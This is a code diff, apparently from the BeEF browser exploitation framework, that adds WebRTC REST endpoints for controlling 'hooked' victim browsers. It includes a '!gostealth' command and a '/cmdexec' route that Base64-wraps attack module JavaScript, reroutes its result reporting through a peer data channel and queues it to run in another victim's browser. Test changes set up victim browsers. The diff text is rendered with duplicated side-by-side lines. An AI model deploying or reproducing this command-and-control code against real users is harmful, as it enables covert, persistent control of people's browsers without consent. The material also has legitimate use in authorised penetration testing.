events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s
}
end
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
#
# @note Get the events from the RTCModuleStatus model of a particular browser
# Return JSON with events_count and an array of events associated with command module execute
#
# +++ Example: +++
#GET /api/webrtc/cmdevents/1?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"events_count":1,"events":[{"id":2,"hb_id":1,"target_id":2,"status":"prompt=blah","mod":200,"created_at":"timestamp","updated_at":"timestamp"}]}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X GET http://127.0.0.1:3000/api/webrtc/cmdevents/1\?token\=df67654b03d030d97018f85f0284247d7f49c348
get '/cmdevents/:id' do
begin
id = params[:id]
events = BeEF::Core::Models::Rtcmodulestatus.all(:hooked_browser_id => id)
events_json = []
count = events.length
events.each do |event|
events_json << {
'id' => event.id.to_i,
'hb_id' => event.hooked_browser_id.to_i,
'target_id' => event.target_hooked_browser_id.to_i,
'status' => event.status.to_s,
'created_at' => event.created_at.to_s,
'updated_at' => event.updated_at.to_s,
'mod' => event.command_module_id
}
end
{
'events_count' => count,
'events' => events_json
}.to_json if not events_json.empty?
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while queuing status message for #{id} (#{e.message})"
halt 500
end
end
# #
# @note Instruct a browser to send an RTC DataChannel message to one of its peers # @note Instruct a browser to send an RTC DataChannel message to one of its peers
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
@@ -170,6 +292,21 @@ module BeEF
tohb = body['to'] tohb = body['to']
message = body['message'] message = body['message']
if message === "!gostealth"
stat = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => fromhb.to_i, :target_hooked_browser_id => tohb.to_i) || nil
unless stat.nil?
stat.status = "Selected browser has commanded peer to enter stealth"
stat.updated_at = Time.now
stat.save
end
stat2 = BeEF::Core::Models::Rtcstatus.first(:hooked_browser_id => tohb.to_i, :target_hooked_browser_id => fromhb.to_i) || nil
unless stat2.nil?
stat2.status = "Peer has commanded selected browser to enter stealth"
stat2.updated_at = Time.now
stat2.save
end
end
result = {} result = {}
unless [fromhb,tohb,message].include?(nil) unless [fromhb,tohb,message].include?(nil)
@@ -185,12 +322,137 @@ module BeEF
print_error e.message print_error e.message
halt 400 halt 400
rescue StandardError => e rescue StandardError => e
print_error "Internal error while queuing message for #{id} (#{e.message})" print_error "Internal error while queuing message (#{e.message})"
halt 500 halt 500
end end
end end
#
# @note Instruct a browser to send an RTC DataChannel message to one of its peers
# In this instance, the message is a Base64d encoded JS command
# which has the beef.net.send statements re-written
# Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log
# for success messages, IF ANY.
# Commands are written back to the rtcmodulestatus model
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#
#{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#
#{"success":"true"}
#
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}'
# http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
#
post '/cmdexec' do
begin
body = JSON.parse(request.body.read)
fromhb = body['from']
tohb = body['to']
cmdid = body['cmdid']
cmdoptions = body['options'] if body['options']
cmdoptions = nil if cmdoptions.eql?("")
result = {}
unless [fromhb,tohb,cmdid].include?(nil)
# Find the module, modify it, send it to be executed on the tohb
# Validate the command module by ID
command_module = BeEF::Core::Models::CommandModule.first(
:id => cmdid)
error 404 if command_module.nil?
error 404 if command_module.path.nil?
# Get the key of the module based on the ID
key = BeEF::Module.get_key_by_database_id(cmdid)
error 404 if key.nil?
# Try to load the module
BeEF::Module.hard_load(key)
# Now the module is hard loaded, find it's object and get it
command_module = BeEF::Core::Command.const_get(
BeEF::Core::Configuration.instance.get(
"beef.module.#{key}.class"
)
).new(key)
# Check for command options
if not cmdoptions.nil?
cmddata = cmdoptions
else
cmddata = []
end
# Get path of source JS
f = command_module.path+'command.js'
error 404 if not File.exists? f
# Read file
@eruby = Erubis::FastEruby.new(File.read(f))
# Parse in the supplied parameters
cc = BeEF::Core::CommandContext.new
cc['command_url'] = command_module.default_command_url
cc['command_id'] = command_module.command_id
cmddata.each{|v|
cc[v['name']] = v['value']
}
# Evalute supplied options
@output = @eruby.evaluate(cc)
# Gsub the output, replacing all beef.net.send commands
# This needs to occur because we want this JS to send messages
# back to the peer browser
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
tmpout = "// beef.net.send removed\n"
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
cmdurl = $1.split(',')
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
tmpout += ") Result: ' + "
tmpout += cmdurl[2]
tmpout += ");"
tmpout
}
# Prepend the B64 version of the string with @
# The client JS receives the rtc message, detects the @
# and knows to decode it before execution
msg = "@" + Base64.strict_encode64(@output)
# Finally queue the message in the RTC queue for submission
# from the from browser to the to browser
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
msg)
result = {}
result['success'] = true
result.to_json
else
result = {}
result['success'] = false
result.to_json
end
rescue InvalidParamError => e
print_error e.message
halt 400
end
end
# Raised when invalid JSON input is passed to an /api/webrtc handler. # Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError class InvalidJsonError < StandardError

View File

@@ -40,7 +40,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
@@victim1 = BeefTest.new_victim @@victim1 = BeefTest.new_victim
@@victim2 = BeefTest.new_victim @@victim2 = BeefTest.new_victim
puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked" # puts "WebRTC Tests beginning"
sleep 8.0 sleep 8.0
# Fetch last online browsers' ids # Fetch last online browsers' ids
@@ -95,7 +95,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
result = JSON.parse(rest_response.body) result = JSON.parse(rest_response.body)
assert_equal true, result["success"] assert_equal true, result["success"]
sleep 20.0 sleep 30.0
rest_response = nil rest_response = nil
assert_nothing_raised do assert_nothing_raised do
@@ -237,7 +237,13 @@ class TC_WebRTCRest < Test::Unit::TestCase
return true if hb[1]["id"].eql?(@@victim2id) return true if hb[1]["id"].eql?(@@victim2id)
} }
end end
end
def test_5_webrtc_execcmd # assumes test 2 has run
return if not @@activated
#
end end